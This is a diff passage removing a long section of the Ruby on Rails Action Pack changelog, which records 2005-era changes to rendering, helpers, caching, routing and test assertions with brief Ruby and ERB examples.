-    +---------------------------------------------------------------+-------------------------------------------------------+
-    | BEFORE                                                        | AFTER                                                 |
-    +---------------------------------------------------------------+-------------------------------------------------------+
-    | render_with_layout "weblog/show", "200 OK", "layouts/dialog"  | render :action => "show", :layout => "dialog"         |
-    | render_without_layout "weblog/show"                           | render :action => "show", :layout => false            |
-    | render_action "error", "404 Not Found"                        | render :action => "error", :status => "404 Not Found" |
-    | render_template "xml.div('stuff')", "200 OK", :rxml           | render :inline => "xml.div('stuff')", :type => :rxml  |
-    | render_text "hello world!"                                    | render :text => "hello world!"                        |
-    | render_partial_collection "person", @people, nil, :a => 1     | render :partial => "person", :collection => @people,  |
-    |                                                               |        :locals => { :a => 1 }                         |
-    +---------------------------------------------------------------+-------------------------------------------------------+      
-
-* Deprecated redirect_to_path and redirect_to_url in favor of letting redirect_to do the right thing when passed either a path or url.
-
-* Fixed use of an integer as return code for renders, so render_text "hello world", 404 now works #1327
-
-* Fixed assert_redirect_to to work with redirect_to_path #869 [Nicholas Seckar]
-
-* Fixed escaping of :method option in remote_form_tag #1218 [Rick Olson]
-
-* Added Serbia and Montenegro to the country_select #1239 [todd@robotcoop.com]
-
-* Fixed Request#remote_ip in testing #1251 [Jeremy Kemper]
-
-* Fixed that compute_public_path should recognize external URLs, so image_tag("http://www.example.com/images/icon.gif") is not prefixed with the relative url path #1254 [victor-ronr-trac@carotena.net]
-
-* Added support for descending year values in DateHelper#select_year, like select_year(Date.today, :start_year => 2005, :end_year => 1900), which would count down from 2005 to 1900 instead of the other way #1274 [nwoods@mail.com]
-
-* Fixed that FormHelper#checkbox should return a checked checkbox if the value is the same as checked_value #1286 [Florian Weber]
-
-* Fixed Form.disable in Prototype #1317 [Wintermute]
-
-* Added accessors to logger, params, response, session, flash, and headers from the view, so you can write <% logger.info "stuff" %> instead of <% @logger.info "others" %> -- more consistent with the preferred way of accessing these attributes and collections from the controller
-
-* Added support for POST data in form of YAML or XML, which is controller through the Content-Type header. Example request:
-
-    Content-Type: application/xml
-    <request><item><content>HelloWorld</content></item></request>
-  
-  ...is the same as:
-
-    Content-Type: application/x-yaml
-    ---
-    item:
-      content: HelloWorld
-
-  ...is the same as:
-  
-    item[content]=HelloWorld
-  
-  Which in the end turns into { "item" => { "content" => "HelloWorld" } }. This makes it a lot easier to publish REST web services on top of your regular actions (as they won't care).
-  
-  Example Curl call:
-
-    curl -H 'Content-Type: application/xml' -d '<request><item><content>KillMeMore</content></item></request>' http://www.example.com/service
-
-  You can query to find out whether a given request came through as one of these types with:
-    - request.post_format? (:url_encoded, :xml or :yaml)
-    - request.formatted_post? (for either xml or yaml)
-    - request.xml_post?
-    - request.yaml_post?
-
-* Added bundling of XmlSimple by Maik Schmidt
-
-* Fixed that render_partial_collection should always return a string (and not sometimes an array, despite <%= %> not caring)
-
-* Added TextHelper#sanitize that can will remove any Javascript handlers, blocks, and forms from an input of HTML.  This allows for use of HTML on public sites, but still be free of XSS issues. #1277 [Jamis Buck]
-
-* Fixed the HTML scanner used by assert_tag where a infinite loop could be caused by a stray less-than sign in the input #1270 [Jamis Buck]
-
-* Added functionality to assert_tag, so you can now do tests on the siblings of a node, to assert that some element comes before or after the element in question, or just to assert that some element exists as a sibling #1226 [Jamis Buck]
-
-* Added better error handling for regexp caching expiration
-
-* Fixed handling of requests coming from unknown HTTP methods not to kill the server
-
-* Added that both AssetHelper#stylesheet_link_tag and AssetHelper#javascript_include_tag now accept an option hash as the last parameter, so you can do stuff like: stylesheet_link_tag "style", :media => "all"
-
-* Added FormTagHelper#image_submit_tag for making submit buttons that uses images
-
-* Added ActionController::Base.asset_host that will then be used by all the asset helpers. This enables you to easily offload static content like javascripts and images to a separate server tuned just for that.
-
-* Fixed action/fragment caching using the filestore when a directory and a file wanted to use the same name. Now there's a .cache prefix that sidesteps the conflict #1188 [imbcmdth@hotmail.com]
-
-* Fixed missing id uniqueness in FormTag#radio_button #1207 [Jarkko Laine]
-
-* Fixed assert_redirected_to to work with :only_path => false #1204 [Alisdair McDiarmid]
-
-* Fixed render_partial_collection to output an empty string instead of nil when handed an empty array #1202 [Ryan Carver]
-
-* Improved the speed of regular expression expirations for caching by a factor of 10 #1221 [Jamis Buck]
-
-* Removed dumping of template assigns on the rescue page as it would very easily include a ton of data making page loads take seconds (and the information was rarely helpful) #1222
-
-* Added BenchmarkHelper that can measure the execution time of a block in a template and reports the result to the log. Example:
-  
-    <% benchmark "Notes section" do %>
-      <%= expensive_notes_operation %>
-    <% end %>
-  
-   Will add something like "Notes section (0.345234)" to the log.
-
-* Added ActionController::Caching::Sweeper as an improved an easier to use sweeper. The new sweepers work on a single-step approach instead of two-steps like the old ones. Before
-
-    def after_save(record)
-      @list = record.is_a?(List) ? record : record.list
-    end
-    
-    def filter(controller)
-      controller.expire_page(:controller => "lists", :action => %w( show public feed ), :id => @list.id)
-      controller.expire_action(:controller => "lists", :action => "all")
-      @list.shares.each { |share| controller.expire_page(:controller => "lists", :action => "show", :id => share.url_key) }
-    end
-
-  ..after:
-
-    def after_save(record)
-      list = record.is_a?(List) ? record : record.list
-      expire_page(:controller => "lists", :action => %w( show public feed ), :id => list.id)
-      expire_action(:controller => "lists", :action => "all")
-      list.shares.each { |share| expire_page(:controller => "lists", :action => "show", :id => share.url_key) }
-    end
-
-  The new sweepers can also observe on the actions themselves by implementing methods according to (before|after)_$controller_$action. Example of a callback that'll be called after PagesController#update_title has been performed:
-  
-      def after_pages_update_title
-        expire_fragment(%r{pages/#{controller.assigns["page"].id}/.*})
-      end
-
-  Note that missing_method is delegated to the controller instance, which is assigned in a before filter. This means that you can call expire_fragment instead of @controller.expire_fragment.
-
-* Added that Fragments#expire_fragment now accepts as a regular expression as the name thereby deprecating expire_matched_fragments
-
-* Fixed that fragments shouldn't use the current host and the path as part of the key like pages does
-
-* Added conditions to around_filters just like before_filter and after_filter
-
-
-*1.8.1* (20th April, 2005)
-
-* Added xml_http_request/xhr method for simulating XMLHttpRequest in functional tests #1151 [Sam Stephenson]. Example:
-
-    xhr :post, :index
-
-* Fixed that Ajax.Base.options.asynchronous wasn't being respected in Ajax.Request (thanks Jon Casey)
-
-* Fixed that :get, :post, and the others should take a flash array as the third argument just like process #1144 [rails@cogentdude.com]
-
-* Fixed a problem with Flash.now
-
-* Fixed stringification on all assigned hashes. The sacrifice is that assigns[:person] won't work in testing. Instead assigns["person"] or assigns(:person) must be used. In other words, the keys of assigns stay strings but we've added a method-based accessor to appease the need for symbols.
-
-* Fixed that rendering a template would require a connection to the database #1146
-
-
-*1.8.0* (19th April, 2005)
-
-* Added assert_tag and assert_no_tag as a much improved alternative to the deprecated assert_template_xpath_match #1126 [Jamis Buck]
-
-* Deprecated the majority of all the testing assertions and replaced them with a much smaller core and access to all the collections the old assertions relied on. That way the regular test/unit assertions can be used against these. Added documentation about how to use it all.
-
-* Added a wide range of new Javascript effects:
-    * Effect.Puff zooms the element out and makes it smoothly transparent at the same time, giving a "puff" illusion #996 [thomas@fesch.at]
-      After the animation is completed, the display property will be set to none. 
-      This effect will work on relative and absolute positioned elements.
-      
-    * Effect.Appear as the opposite of Effect.Fade #990 [thomas@fesch.at]
-      You should return elements with style="display:none;" or a like class for this to work best and have no chance of flicker.
-      
-    * Effect.Squish for scaling down an element and making it disappear at the end #972 [thomas@fesch.at]
-    
-    * Effect.Scale for smoothly scaling images or text up and down #972 [thomas@fesch.at]
-    
-    * Effect.Fade which smoothly turns opacity from 100 to 0 and then hides the element #960 [thomas@fesch.at]
-
-* Added Request#xml_http_request? (and an alias xhr?) to that'll return true when the request came from one of the Javascript helper methods (Ajax). This can be used to give one behavior for modern browsers supporting Ajax, another to old browsers #1127 [Sam Stephenson]
-
-* Changed render_partial to take local assigns as the second parameter instead of an explicit object and then the assigns. So the API changes from:
-
-    <%= render_partial "account", person, "rules" => regulations.rules %>
-    
-  ...to:
-  
-    <%= render_partial "account", :account => person, :rules => regulations.rules %>
-  
-  The old API will still work, though, and render_partial "account" will still assume :account => @account.
-
-* Added support for web servers that use PATH_INFO instead of REQUEST_URI like IIS #1014 [BradG/Nicholas Seckar]
-
-* Added graceful handling of PUT, DELETE, and OPTIONS requests for a complete coverage of REST functionality #1136 [Josh Knowles]
-
-* Fixed that you can now pass an alternative :href option to link_to_function/remote in order to point to somewhere other than # if the javascript fails or is turned off. You can do the same with form_remote_tag by passing in :action. #1113 [Sam Stephenson]
-
-* Fixed DateHelper to return values on the option tags such that they'll work properly in IE with form_remote_tag #1024 [Scott Raymond]
-
-* Fixed FormTagHelper#check_box to respect checked #1049 [DelynnB]
-
-* Added that render_partial called from a controller will use the action name as default #828 [Dan Peterson]
-
-* Added Element.toggle, Element.show, and Element.hide to the prototype javascript library. Toggle.display has been deprecated, but will still work #992 [Lucas Carlson]
-
-* Added that deleting a cookie should not just set it to an empty string but also instantly expire it #1118 [todd@robotcoop.com]
-
-* Added AssetTagHelper#image_path, AssetTagHelper#javascript_path, and AssetTagHelper#stylesheet_path #1110 [Larry Halff]
-
-* Fixed url_for(nil) in functional tests #1116 [Alisdair McDiarmid]
-
-* Fixed error handling of broken layouts #1115 [Michael Schubert]
-
-* Added submit_to_remote that allows you to trigger an Ajax form submition at the click of the submission button, which allows for multiple targets in a single form through the use of multiple submit buttons #930 [yrashk@gmail.com]
-
-* Fixed pagination to work with joins #1034 [scott@sigkill.org]
-
-* Fixed that *rest parameter in map.connect couldn't accept an empty list #1037 [Dee Zsombor]
-
-* Added :confirm option to link_to_remote just like link_to has #1082 [yrashk@fp.org.ua]
-
-* Added minute_step as an option to select_minute (and the helpers that use it) to jump in larger increments than just 1 minute. At 15, it would return 0, 15, 30, 45 options #1085 [ordwaye@evergreen.edu]
-
-* Fixed that an exception would be thrown when an empty form was submitted #1090 [jan@ulbrich-boerwang.de]
-
-* Moved TextHelper#human_size to NumberHelper#number_to_human_size, but kept an deprecated alias to the old method name
-
-* Fixed that the content-type for some browsers could include an additional \r which made wonky things happen #1067 [Thomas Fuchs]
-
-* Fixed that radio buttons shouldn't have a default size attribute #1074 [hendrik@mans.de]
-
-* Added ActionView::Helpers::InstanceTag::DEFAULT_RADIO_OPTIONS that contains a hash of default options for radio buttons #1074 [hendrik@mans.de]
-
-* Fixed that in some circumstances controllers outside of modules may have hidden ones inside modules. For example, admin/content might have been hidden by /content. #1075 [Nicholas Seckar]
-
-* Added JavascriptHelper#periodically_call_remote in order to create areas of a page that update automatically at a set interval #945 [Jon Tirsen]
-
-* Fixed Cache#expire_matched_fragments that couldn't recognize the difference between string and url_for options #1030 [Stefan Kaes]
-
-* Added simulation of @request.request_uri in functional tests #1038 [Jamis Buck]
-
-* Fixed autolinking to work better in more cases #1013 [Jamis Buck]
-
-* Added the possible of using symbols in form helpers that relate to instance variables like text_field :account, :name in addition to text_field "account", "name"'
-
-* Fixed javascript_include_tag to output type instead of language and conform to XHTML #1018 [Rick Olson]
-
-* Added NumberHelper for common string representations like phone number, currency, and percentage #1015 [DeLynn]
-
-* Added pagination for scaffolding (10 items per page) #964 [mortonda@dgrmm.net]
-
-* Added assert_no_cookie and fixed assert_cookie_equal to deal with non-existing cookies #979 [Jeremy Kemper]
-
-* Fixed :overwrite_param so it doesn't delete but reject elements from @request.parameters #982 [raphinou@yahoo.com]
-
-* Added :method option to verify for ensuring that either GET, POST, etc is allowed #984 [Jamis Buck]
-
-* Added options to set cc, bcc, subject, and body for UrlHelper#mail_to #966 [DeLynn]
-
-* Fixed include_blank for select_hour/minute/second #527 [edward@debian.org]
-
-* Improved the message display on the exception handler pages #963 [Johan Sorensen]
-
-* Fixed that on very rare occasions, webrick would raise a NoMethodError: private method 'split' called for nil #1001 [Flurin Egger]
-
-* Fixed problem with page caching #958 [Rick Olson]
-
-
-*1.7.0* (27th March, 2005)
-
-* Added ActionController::Base.page_cache_extension for setting the page cache file extension (the default is .html) #903 [Andreas]
-
-* Fixed "bad environment variable value" exception caused by Safari, Apache, and Ajax calls #918
-
-* Fixed that pagination_helper would ignore :params #947 [Sebastian Kanthak]
-
-* Added :owerwrite_params back to url_for and friends -- it was AWL since the introduction of Routes #921 [raphinou]
-
-* Added :position option to link_to_remote/form_remote_tag that can be either :before, :top, :bottom, or :after and specifies where the return from the method should be inserted #952 [Matthew McCray/Sam Stephenson]
-
-* Added Effect.Highlight to prototype.js to do Yellow Fade Technique (of 37signals' fame) on any container #952 [Sam Stephenson/court3nay]
-
-* Added include_seconds option as the third parameter to distance_of_time_in_words which will render "less than a minute" in higher resolution ("less than 10 seconds" etc) #944 [thomas@fesch.at]
-
-* Added fourth option to process in test cases to specify the content of the flash #949 [Jamis Buck]
-
-* Added Verifications that allows you to specify preconditions to actions in form of statements like <tt>verify :only => :update_post, :params => "admin_privileges", :redirect_to => { :action => "settings" }</tt>, which ensure that the update_post action is only called if admin_privileges is available as a parameter -- otherwise the user is redirected to settings. #897 [Jamis Buck]
-
-* Fixed Form.Serialize for the JavascriptHelper to also seriliaze password fields #934 [dweitzman@gmail.com]
-
-* Added JavascriptHelper#escape_javascript as a public method (was private) and made it escape both single and double quotes and new lines #940 [mortonda@dgrmm.net]
-
-* Added trailing_slash option to url_for, so you can generate urls ending in a slash. Note that is currently not recommended unless you need it for special reasons since it breaks caching #937 [stian@grytoyr.net]
-
-* Added expire_matched_fragments(regular_expression) to clear out a lot of fragment caches at once #927 [Rick Olson]
-
-* Fixed the problems with : and ? in file names for fragment caches on Windows #927 [Rick Olson]
-
-* Added TextHelper#human_size for formatting file sizes, like human_size(1234567) => 1.2 MB #943 [thomas@fesch.at]
-
-* Fixed link_to :confirm #936 [Nicholas Seckar]
-
-* Improved error reporting especially around never shallowing exceptions. Debugging helpers should be much easier now #980 [Nicholas Seckar]
-
-* Fixed Toggle.display in prototype.js #902 [Lucas Carlson]
-
-
-*1.6.0* (22th March, 2005)
-
-* Added a JavascriptHelper and accompanying prototype.js library that opens the world of Ajax to Action Pack with a large array of options for dynamically interacting with an application without reloading the page #884 [Sam Stephenson/David]
-
-* Added pagination support through both a controller and helper add-on #817 [Sam Stephenson]
-
-* Fixed routing and helpers to make Rails work on non-vhost setups #826 [Nicholas Seckar/Tobias Lütke]
-
-* Added a much improved Flash module that allows for finer-grained control on expiration and allows you to flash the current action #839 [Caio Chassot]. Example of flash.now:
-
-    class SomethingController < ApplicationController
-      def save
-        ...
-        if @something.save
-          # will redirect, use flash
-          flash[:message] = 'Save successful'
-          redirect_to :action => 'list'
-        else
-          # no redirect, message is for current action, use flash.now
-          flash.now[:message] = 'Save failed, review'
-          render_action 'edit'
-        end
-      end    
-    end
-
-* Added to_param call for parameters when composing an url using url_for from something else than strings #812 [Sam Stephenson]. Example:
-
-    class Page
-      def initialize(number)
-        @number = number
-      end
-      # ...
-      def to_param
-        @number.to_s
-      end
-    end
-
-  You can now use instances of Page with url_for:
-
-    class BarController < ApplicationController
-      def baz
-        page = Page.new(4)
-        url = url_for :page => page # => "http://foo/bar/baz?page=4"
-      end
-    end
-
-* Fixed form helpers to query Model#id_before_type_cast instead of Model#id as a temporary workaround for Ruby 1.8.2 warnings #818 [DeLynn B]
-
-* Fixed TextHelper#markdown to use blank? instead of empty? so it can deal with nil strings passed #814 [Johan Sörensen]
-
-* Added TextHelper#simple_format as a non-dependency text presentation helper #814 [Johan Sörensen]
-
-* Added that the html options disabled, readonly, and multiple can all be treated as booleans. So specifying <tt>disabled => :true</tt> will give <tt>disabled="disabled"</tt>. #809 [mindel]
-
-* Added path collection syntax for Routes that will gobble up the rest of the url and pass it on to the controller #830 [rayners]. Example:
-
-    map.connect 'categories/*path_info', :controller => 'categories', :action => 'show'
-
-  A request for /categories/top-level-cat, would give @params[:path_info] with "top-level-cat".
-  A request for /categories/top-level-cat/level-1-cat, would give @params[:path_info] with "top-level-cat/level-1-cat" and so forth.
-  
-  The @params[:path_info] return is really an array, but where to_s has been overwritten to do join("/").
-
-* Fixed options_for_select on selected line issue #624 [Florian Weber]
-
-* Added CaptureHelper with CaptureHelper#capture and CaptureHelper#content_for. See documentation in helper #837 [Tobias Lütke]
-
-* Fixed :anchor use in url_for #821 [Nicholas Seckar]
-
-* Removed the reliance on PATH_INFO as it was causing problems for caching and inhibited the new non-vhost support #822 [Nicholas Seckar]
-
-* Added assigns shortcut for @response.template.assigns to controller test cases [Jeremy Kemper]. Example:
-
-  Before:
-
-    def test_list
-      assert_equal 5, @response.template.assigns['recipes'].size
-      assert_equal 8, @response.template.assigns['categories'].size
-    end
-
-  After:
-
-    def test_list
-      assert_equal 5, assigns(:recipes).size
-      assert_equal 8, assigns(:categories).size
-    end
-
-* Added TagHelper#image_tag and deprecated UrlHelper#link_image_to (recommended approach is to combine image_tag and link_to instead)
-
-* Fixed textilize to be resilient to getting nil parsed (by using Object#blank? instead of String#empty?)
-
-* Fixed that the :multipart option in FormTagHelper#form_tag would be ignored [Yonatan Feldman]
-
-
-*1.5.1* (7th March, 2005)
-
-* Fixed that the routes.rb file wouldn't be found on symlinked setups due to File.expand_path #793 [piotr@t-p-l.com]
-
-* Changed ActiveRecordStore to use Marshal instead of YAML as the latter proved troublesome in persisting circular dependencies. Updating existing applications MUST clear their existing session table from data to start using this updated store #739 [Jamis Buck]
-
-* Added shortcut :id assignment to render_component and friends (before you had to go through :params) #784 [Lucas Carlson]
-
-* Fixed that map.connect should convert arguments to strings #780 [Nicholas Seckar]
-
-* Added UrlHelper#link_to_if/link_to_unless to enable other conditions that just link_to_unless_current #757 [mindel]
-
-* Fixed that single quote was not escaped in a UrlHelper#link_to javascript confirm #549 [Scott Barron]
-
-* Removed the default border on link_image_to (it broke xhtml strict) -- can be specified with :border => 0 #517 [?/caleb]
-
-* Fixed that form helpers would treat string and symbol keys differently in html_options (and possibly create duplicate entries) #112 [Jeremy Kemper]
-
-* Fixed that broken pipe errors (clients disconnecting in mid-request) could bring down a fcgi process
-
-* Added the original exception message to session recall errors (so you can see which class wasnt required)
-
-* Fixed that RAILS_ROOT might not be defined when AP was loaded, so do a late initialization of the ROUTE_FILE #761 [Scott Barron]
-
-* Fix request.path_info and clear up LoadingModule behavior #754 [Nicholas Seckar]
-
-* Fixed caching to be aware of extensions (so you can cache files like api.wsdl or logo.png) #734 [Nicholas Seckar]
-
-* Fixed that Routes would raise NameErrors if a controller component contains characters that are not valid constant names #733 [Nicholas Seckar]
-
-* Added PATH_INFO access from the request that allows urls like the following to be interpreted by rails: http://www.example.com/dispatcher.cgi/controller/action -- that makes it possible to use rails as a CGI under lighttpd and would also allow (for example) Rublog to be ported to rails without breaking existing links to Rublog-powered blogs. #728 [Jamis Buck]
-
-* Fixed that caching the root would result in .html not index.html #731, #734 [alisdair/Nicholas Seckar]
-
-
-*1.5.0* (24th February, 2005)
-
-* Added Routing as a replacement for mod_rewrite pretty urls [Nicholas Seckar]. Read more in ActionController::Base.url_for and on http://manuals.rubyonrails.com/read/book/9
-
-* Added components that allows you to call other actions for their rendered response while execution another action. You can either delegate the entire response rendering or you can mix a partial response in with your other content. Read more on http://manuals.rubyonrails.com/read/book/14
-
-* Fixed that proxy IPs do not follow all RFC1918 nets #251 [caleb@aei-tech.com]
-
-* Added Base#render_to_string to parse a template and get the result back as a string #479
-
-* Fixed that send_file/data can work even if render* has been called before in action processing to render the content of a file to be send for example #601
-
-* Added FormOptionsHelper#time_zone_select and FormOptionsHelper#time_zone_options_for_select to work with the new value object TimeZone in Active Support #688 [Jamis Buck]
-
-* Added FormHelper#file_field and FormTagHelper#file_field_tag for creating file upload fields
-
-* Added :order option for date_select that allows control over the order in which the date dropdowns is used and which of them should be used #619 [Tim Bates]. Examples:
-
-    date_select("post", "written_on", :order => [:day, :month, :year])
-    date_select("user", "birthday",   :order => [:month, :day])
-
-* Added ActionView::Base.register_template_handler for easy integration of an alternative template language to ERb and Builder. See test/controller/custom_handler_test.rb for a usage example #656 [Jamis Buck]
-
-* Added AssetTagHelper that provides methods for linking a HTML page together with other assets, such as javascripts, stylesheets, and feeds.
-
-* Added FormTagHelper that provides a number of methods for creating form tags that doesn't rely on conventions with an object assigned to the template like FormHelper does. With the FormTagHelper, you provide the names and values yourself.
-
-* Added Afghanistan, Iran, and Iraq to the countries list used by FormOptions#country_select and FormOptions#country_options_for_select
-
-* Renamed link_to_image to link_image_to (since thats what it actually does) -- kept alias for the old method name
-
-* Fixed textilize for RedCloth3 to keep doing hardbreaks
-
-* Fixed that assert_template_xpath_matches did not indicate when a path was not found #658 [Eric Hodel]
-
-* Added TextHelper#auto_link to turn email addresses and urls into ahrefs
-
-* Fixed that on validation errors, scaffold couldn't find template #654 [mindel]
-
-* Added Base#hide_action(*names) to hide public methods from a controller that would otherwise have been callable through the URL. For the majority of cases, its preferred just to make the methods you don't want to expose protected or private (so they'll automatically be hidden) -- but if you must have a public method, this is a way to make it uncallable. Base#hidden_actions retrieve the list of all hidden actions for the controller #644 [Nicholas Seckar]
-
-* Fixed that a bunch of methods from ActionController::Base was accessible as actions (callable through a URL) when they shouldn't have been #644 [Nicholas Seckar]
-
-* Added UrlHelper#current_page?(options) method to check if the url_for options passed corresponds to the current page
-
-* Fixed https handling on other ports than 443 [Alan Gano]
-
-* Added follow_redirect method for functional tests that'll get-request the redirect that was made. Example:
-
-    def test_create_post
-      post :create, "post" => { "title" => "Exciting!" }
-      assert_redirected_to :action => "show"
-      
-      follow_redirect
-      assert_rendered_file "post/show"
-    end
-  
-  Limitation: Only works for redirects to other actions within the same controller.
-
-* Fixed double requiring of models with the same name as the controller
-
-* Fixed that query params could be forced to nil on a POST due to the raw post fix #562 [moriq@moriq.com]
-
-* Fixed that cookies shouldn't be frozen in TestRequest #571 [Eric Hodel]
-
-
-*1.4.0* (January 25th, 2005)
-
-* Fixed problems with ActiveRecordStore under the development environment in Rails
-
-* Fixed the ordering of attributes in the xml-decleration of Builder #540 [woeye]
-
-* Added @request.raw_post as a convenience access to @request.env['RAW_POST_DATA'] #534 [Tobias Lütke]
-
-* Added support for automatic id-based indexing for lists of items #532 [dblack]. Example:
-
-    <% @students.each do |@student| %>
-      <%= text_field "student[]", "first_name", :size => "20" %>
-      <%= text_field "student[]", "last_name" %>
-      <%= text_field "student[]", "grade", :size => "5" %>
-    <% end %>
-  
-  ...would produce, for say David Black with id 123 and a grace of C+:
-  
-    <input id="student_123_first_name" name="student[123][first_name]" size="20"     size="30" type="text" value="David" />
-    <input id="student_123_last_name" name="student[123][last_name]" size="30"  type="text" value="Black" />
-    <input id="student_123_grade" name="student[123][grade]" size="5" type="text"  value="C+" />
-
-* Added :application_prefix to url_for and friends that makes it easier to setup Rails in non-vhost environments #516 [Jamis Buck]
-
-* Added :encode option to mail_to that'll allow you to masquarede the email address behind javascript or hex encoding #494 [Lucas Carlson]
-
-* Fixed that the content-header was being set to application/octet_stream instead of application/octet-stream on send_date/file [Alexey]
-
-* Removed the need for passing the binding when using CacheHelper#cache
-
-* Added TestResponse#binary_content that'll return as a string the data sent through send_data/send_file for testing #500 [Alexey]
-
-* Added @request.env['RAW_POST_DATA'] for people who need access to the data before Ruby's CGI has parsed it #505 [Jeremy Kemper]
-
-* Fixed that a default fragment store wan't being set to MemoryStore as intended.
-
-* Fixed that all redirect and render calls now return true, so you can use the pattern of "do and return". Example:
-
-    def show
-      redirect_to(:action => "login") and return unless @person.authenticated?
-      render_text "I won't happen unless the person is authenticated"
-    end
-
-* Added that renders and redirects called in before_filters will have the same effect as returning false: stopping the chain. Example:
-
-    class WeblogController
-      before_filter { |c| c.send(:redirect_to_url("http://www.farfaraway.com")}) }
-      
-      def hello
-        render_text "I will never be called"
-      end
-    end
-
-
-* Added that only one render or redirect can happen per action. The first call wins and subsequent calls are ignored. Example:
-
-    def do_something
-      redirect_to :action => "elsewhere"
-      render_action "overthere"
-    end
-  
-  Only the redirect happens. The rendering call is simply ignored.
-
-
-*1.3.1* (January 18th, 2005)
-
-* Fixed a bug where cookies wouldn't be set if a symbol was used instead of a string as the key
-
-* Added assert_cookie_equal to assert the contents of a named cookie
-
-* Fixed bug in page caching that prevented it from working at all 
-
-
-*1.3.0* (January 17th, 2005)
-
-* Added an extensive caching module that offers three levels of granularity (page, action, fragment) and a variety of stores. 
-  Read more in ActionController::Caching.
-
-* Added the option of passing a block to ActiveRecordHelper#form in order to add more to the auto-generated form #469 [dom@sisna.com]
-
-    form("entry", :action => "sign") do |form|
-      form << content_tag("b", "Department")
-      form << collection_select("department", "id", @departments, "id", "name")
-    end
-
-* Added arrays as a value option for params in url_for and friends #467 [Eric Anderson]. Example:
-
-    url_for(:controller => 'user', :action => 'delete', :params => { 'username' =>  %( paul john steve ) } )
-    # => /user/delete?username[]=paul&username[]=john&username[]=steve
-
-* Fixed that controller tests can now assert on the use of cookies #466 [Alexey]
-
-* Fixed that send_file would "remember" all the files sent by adding to the headers again and again #458 [Jeremy Kemper]
-
-* Fixed url rewriter confusion when the controller or action name was a substring of the controller_prefix or action_prefix
-
-* Added conditional layouts like <tt>layout "weblog_standard", :except => :rss</tt> #452 [Marcel Molina Jr.]
-
-* Fixed that MemCacheStore wasn't included by default and added default MemCache object pointing to localhost #447 [Lucas Carlson]
-
-* Added fourth argument to render_collection_of_partials that allows you to specify local_assigns -- just like render_partial #432 [Ryan Davis]
-
-* Fixed that host would choke when cgi.host returned nil #432 [Tobias Lütke]
-
-* Added that form helpers now take an index option #448 [Tim Bates]
-
-  Example:
-    text_field "person", "name", "index" => 3
-
-  Becomes:
-    <input type="text" name="person[3][name]" id="person_3_name" value="<%= @person.name %>" />
-
-* Fixed three issues with retrying breakpoints #417 [Florian Gross]
-
-  1. Don't screw up pages that use multiple values for the same parameter (?foo=bar&foo=qux was converted to ?foo=barqux) 
-  2. Don't screw up all forms when you click the "Retry with Breakpoint" link multiple times instead of reloading 
-     (This caused the parameters to be added multiple times for GET forms leading to trouble.) 
-  3. Don't add ?BP-RETRY=1 multiple times
-
-* Added that all renders and redirects now return false, so they can be used as the last line in before_filters to stop execution.
-
-  Before:
-    def authenticate
-      unless @session[:authenticated]
-        redirect_to :controller => "account", :action => "login"
-        return false
-      end
-    end
-  
-  After:
-    def authenticate
-      redirect_to(:controller => "account", :action => "login") unless @session[:authenticated]
-    end
-
-* Added conditional filters #431 [Marcel Molina Jr.]. Example:
-
-    class JournalController < ActionController::Base
-      # only require authentication if the current action is edit or delete
-      before_filter :authorize, :only_on => [ :edit, :delete ]
-    
-      private
-        def authorize
-          # redirect to login unless authenticated
-        end
-    end
-
-* Added Base#render_nothing as a cleaner way of doing render_text "" when you're not interested in returning anything but an empty response.
-
-* Added the possibility of passing nil to UrlHelper#link_to to use the link itself as the name
-
-
-*1.2.0* (January 4th, 2005)
-
-* Added MemCacheStore for storing session data in Danga's MemCache system [Bob Cottrell]
-  Depends on: MemCached server (http://www.danga.com/memcached/), MemCache client (http://raa.ruby-lang.org/project/memcache/)
-
-* Added thread-safety to the DRbStore #66, #389 [Ben Stiglitz]
-
-* Added DateHelper#select_time and DateHelper#select_second #373 [Scott Baron]
-
-* Added :host and :protocol options to url_for and friends to redirect to another host and protocol than the current.
-
-* Added class declaration for the MissingFile exception #388 [Kent Sibilev]
-
-* Added "short hypertext note with a hyperlink to the new URI(s)" to redirects to fulfill compliance with RFC 2616 (HTTP/1.1) section 10.3.3 #397 [Tim Bates]
-
-* Added second boolean parameter to Base.redirect_to_url and Response#redirect to control whether the redirect is permanent or not (301 vs 302) #375 [Hodel]
-
-* Fixed redirects when the controller and action is named the same. Still haven't fixed same controller, module, and action, though #201 [Josh Peek]
-
-* Fixed problems with running multiple functional tests in Rails under 1.8.2 by including hack for test/unit weirdness
-
-* Fixed that @request.remote_ip didn't work in the test environment #369 [Bruno Mattarollo]
-
-
-*1.1.0*
-
-* Added search through session to clear out association caches at the end of each request. This makes it possible to place Active Record objects
-  in the session without worrying about stale data in the associations (the main object is still subject to caching, naturally) #347 [Tobias Lütke]
-
-* Added more informative exception when using helper :some_helper and the helper requires another file that fails, you'll get an
-  error message tells you what file actually failed to load, rather than falling back on assuming it was the helper file itself #346 [dblack]
-
-* Added use of *_before_type_cast for all input and text fields. This is helpful for getting "100,000" back on a integer-based 
-  validation where the value would normally be "100".
-
-* Added Request#port_string to get something like ":8080" back on 8080 and "" on 80 (or 443 with https).
-
-* Added Request#domain (returns string) and Request#subdomains (returns array).
-
-* Added POST support for the breakpoint retries, so form processing that raises an exception can be retried with the original request [Florian Gross]
-
-* Fixed regression with Base#reset_session that wouldn't use the DEFAULT_SESSION_OPTIONS [adam@the-kramers.net]
-
-* Fixed error rendering of rxml documents to not just swallow the exception and return 0 (still not guessing the right line, but hey)
-
-* Fixed that textilize and markdown would instantiate their engines even on empty strings. This also fixes #333 [Ulysses]
-
-* Fixed UrlHelper#link_to_unless so it doesn't care if the id is a string or fixnum [Ryan Davis]
-
-
-*1.0.1*
-
-* Fixed a bug that would cause an ApplicationController to require itself three times and hence cause filters to be run three times [evl]
-
-
-*1.0*
-
-* Added that controllers will now attempt to require a model dependency with their name and in a singular attempt for their name.
-  So both PostController and PostsController will automatically have the post.rb model required. If no model is found, no error is raised,
-  as it is then expected that no match is available and the programmer will have included his own models.
-
-* Fixed DateHelper#date_select so that you can pass include_blank as an option even if you don't use start_year and end_year #59 [what-a-day]
-
-* Added that controllers will now search for a layout in $template_root/layouts/$controller_name.r(html|xml), so PostsController will look
-  for layouts/posts.rhtml or layouts/posts.rxml and automatically configure this layout if found #307 [Marcel Molina Jr.]
-
-* Added FormHelper#radio_button to work with radio buttons like its already possible with check boxes [Michael Koziarski]
-
-* Added TemplateError#backtrace that makes it much easier to debug template errors from unit and functional tests
-
-* Added display of error messages with scaffolded form pages
-
-* Added option to ERB templates to swallow newlines by using <% if something -%> instead of just <% if something %>. Example:
-
-    class SomeController < ApplicationController
